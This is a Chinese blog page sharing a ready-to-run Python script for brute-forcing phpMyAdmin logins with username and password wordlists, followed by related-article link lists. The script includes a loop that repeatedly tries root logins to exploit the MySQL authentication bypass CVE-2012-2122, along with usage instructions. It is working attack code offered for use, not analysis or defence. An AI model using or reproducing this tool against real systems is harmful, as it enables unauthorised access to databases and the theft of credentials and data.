Python写的PHPMyAdmin暴力破解工具代码


Posted in Python onAugust 06, 2014

PHPMyAdmin暴力破解,加上CVE-2012-2122 MySQL Authentication Bypass Vulnerability漏洞利用。

#!/usr/bin/env python
import urllib 
import urllib2 
import cookielib 
import sys
import subprocess
def Crack(url,username,password):
	opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.LWPCookieJar())) 
	headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64)'}
	params = urllib.urlencode({'pma_username': username, 'pma_password': password})
	request = urllib2.Request(url+"/index.php", params,headers)
	response = opener.open(request) 
	a=response.read() 
	if a.find('Database server')!=-1 and a.find('name="login_form"')==-1:
		return username,password
	return 0
def MySQLAuthenticationBypassCheck(host,port):
	i=0
	while i<300:
		i=i+1
		subprocess.Popen("mysql --host=%s -P %s -uroot -piswin" % (host,port),shell=True).wait()
if __name__ == '__main__':
	if len(sys.argv)<4:
		print "#author:iswin\n#useage python pma.py https://3water.com/phpmyadmin/ username.txt password.txt"
		sys.exit()
	print "Bruting,Pleas wait..."
	for name in open(sys.argv[2],"r"):
		for passw in open(sys.argv[3],"r"):
			state=Crack(sys.argv[1],name,passw)
			if state!=0:
				print "\nBrute successful"
				print "UserName: "+state[0]+"PassWord: "+state[1]
				sys.exit()
	print "Sorry,Brute failed...,try to use MySQLAuthenticationBypassCheck"
	choice=raw_input('Warning:This function needs mysql environment.\nY:Try to MySQLAuthenticationBypassCheck\nOthers:Exit\n')
	if choice=='Y' or choice=='y':
		host=raw_input('Host:')
		port=raw_input('Port:')
		MySQLAuthenticationBypassCheck(host,port)
Python 相关文章推荐
Python heapq使用详解及实例代码
Jan 25 Python
django轻松使用富文本编辑器CKEditor的方法
Mar 30 Python
Flask数据库迁移简单介绍
Oct 24 Python
Jupyter安装nbextensions,启动提示没有nbextensions库
Apr 23 Python
pycharm配置pyqt5-tools开发环境的方法步骤
Feb 11 Python
python pytest进阶之xunit fixture详解
Jun 27 Python
Django中celery执行任务结果的保存方法
Jul 12 Python
django中瀑布流写法实例代码
Oct 14 Python
python对验证码降噪的实现示例代码
Nov 12 Python
推荐技术人员一款Python开源库(造数据神器)
Jul 08 Python
matplotlib 范围选区(SpanSelector)的使用
Feb 24 Python
Python装饰器的练习题
Nov 23 Python
Python写的Discuz7.2版faq.php注入漏洞工具
Aug 06 #Python
Python常用列表数据结构小结
Aug 06 #Python
Python生成pdf文件的方法
Aug 04 #Python
Tornado Web服务器多进程启动的2个方法
Aug 04 #Python
Python通过解析网页实现看报程序的方法
Aug 04 #Python
基于Python实现的扫雷游戏实例代码
Aug 01 #Python
python脚本实现查找webshell的方法
Jul 31 #Python
You might like
Ajax+PHP边学边练 之五 图片处理
2009/12/03 PHP
php实现QQ空间获取当前用户的用户名并生成图片
2015/07/25 PHP
PHP函数checkdnsrr用法详解(Windows平台用法)
2016/03/21 PHP
详解ThinkPHP3.2.3验证码显示、刷新、校验
2016/12/29 PHP
PHP中mysqli_get_server_version()的实例用法
2020/02/03 PHP
jscript之Read an Excel Spreadsheet
2007/06/13 Javascript
基于jquery的跟随屏幕滚动代码
2012/07/24 Javascript
window.navigate 与 window.location.href 的使用区别介绍
2013/09/21 Javascript
jquery实现一个简单的表单验证实例
2016/03/30 Javascript
JS简单实现点击复制链接的方法
2016/08/03 Javascript
JavaScript中object和Object的区别(详解)
2017/02/27 Javascript
vue.js国际化 vue-i18n插件的使用详解
2017/07/07 Javascript
bootstrap里bootstrap动态加载下拉框的实例讲解
2018/08/10 Javascript
解决LayUI表单获取不到data的问题
2018/08/20 Javascript
小白教程|一小时上手最流行的前端框架vue(推荐)
2019/04/10 Javascript
JS模拟浏览器实现全局搜索功能
2019/09/11 Javascript
环形加载进度条封装(Vue插件版和原生js版)
2019/12/04 Javascript
vue中实现点击按钮滚动到页面对应位置的方法(使用c3平滑属性实现)
2019/12/29 Javascript
JavaScript中的执行环境和作用域链
2020/09/04 Javascript
JavaScript实现HTML导航栏下拉菜单
2020/11/25 Javascript
python实现颜色空间转换程序(Tkinter)
2015/12/31 Python
Python正则获取、过滤或者替换HTML标签的方法
2016/01/28 Python
Python简单获取自身外网IP的方法
2016/09/18 Python
python实现猜数字小游戏
2020/03/24 Python
Python实现京东秒杀功能代码
2019/05/16 Python
Python序列对象与String类型内置方法详解
2019/10/22 Python
django模板获取list中指定索引的值方式
2020/05/14 Python
Python中免验证跳转到内容页的实例代码
2020/10/23 Python
css3背景图片透明叠加属性cross-fade简介及用法实例
2013/01/08 HTML / CSS
HTML5 Canvas中使用用路径描画圆弧
2015/01/01 HTML / CSS
美国领先的家庭智能音响系统品牌:Sonos
2018/07/20 全球购物
销售会计岗位职责
2014/03/15 职场文书
商务考察邀请函模板
2015/02/02 职场文书
指导教师推荐意见
2015/06/05 职场文书
Oracle设置DB、监听和EM开机启动的方法
2021/04/25 Oracle
Spring中的@Transactional的工作原理
2022/06/05 Java/Android